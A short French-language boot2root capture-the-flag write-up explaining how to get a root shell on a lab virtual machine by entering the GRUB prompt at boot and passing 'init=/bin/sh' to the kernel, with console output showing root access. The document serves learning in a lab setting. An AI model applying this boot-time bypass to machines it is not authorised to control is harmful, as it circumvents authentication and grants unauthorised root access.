GRUB BOOTLOADER

Boot2root writeups

Ce writeup va être plutôt court. Il nous est demandé d'obtenir une shell **root** sur une machine virtuelle qu'on fait nous-même démarrer.

Or, puisque nous sommes les personnes qui effectuons l'action de **boot** la machine, on peut tout à fait, lors de son initialisation, la **faire entrer en mode grub**. Pour cela, on voit qu'il faut apparemment maintenir la touche **Shift** enfoncée lors du démarrage de la machine virtuelle :
https://askubuntu.com/questions/314754/how-to-get-the-grub-using-virtualbox

Le menu grub nous indique une simple prompt **boot:** nous demandant de sélectionner une image kernel (les images kernel se situent dans **/boot/**). Sélectionner l'image kernel **live** nous permet de boot normalement la machine (on lui a donné un **iso** "live" à partir duquel boot).

Ce qui est intéressant, c'est que si on entre cette commande dans le bootloader grub, on peut **remplacer le process init par /bin/sh** :

```
init=/bin/sh
```

Plus de détails ici :
https://unix.stackexchange.com/questions/34462/why-does-linux-allow-init-bin-bash

Une telle manipulation nous fournit une shell en tant que **root** : "*You're telling the Linux kernel to run /bin/bash as init, rather than the system init*" (le kernel étant root).

```
boot: live init=/bin/sh
error: unexpectedly disconnected from boot status daemon
/scripts/casper-bottom/32disable_hibernation: line 24: can't create /root/var/li
b/polkit-1/localauthority/50-local.d/disable-hibernate.pkla: nonexistent directo
ry
/usr/lib/python2.7/dist-packages/LanguageSelector/LocaleInfo.py:256: UserWarning
: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or d
irectory
  warnings.warn(msg.args[0].encode('UTF-8'))
Using CD-ROM mount point /cdrom/
Identifying.. [f50981139b1caeed8e022c046838eaf1-2]
Scanning disc for index files..
Found 0 package indexes, 0 source indexes, 0 translation indexes and 0 signature
s
E: Unable to locate any package files, perhaps this is not a Debian Disc or the
wrong architecture?
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
```

Bien sûr, les autres services ne fonctionnent pas lorsqu'on boot la machine de cette façon, mais on a quand même accès au **filesystem**.

Ce qui équivaut bien à une **shell root**.